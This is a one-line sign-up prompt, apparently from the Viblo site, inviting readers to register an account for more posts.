Let's register a Viblo Account to get more interesting posts.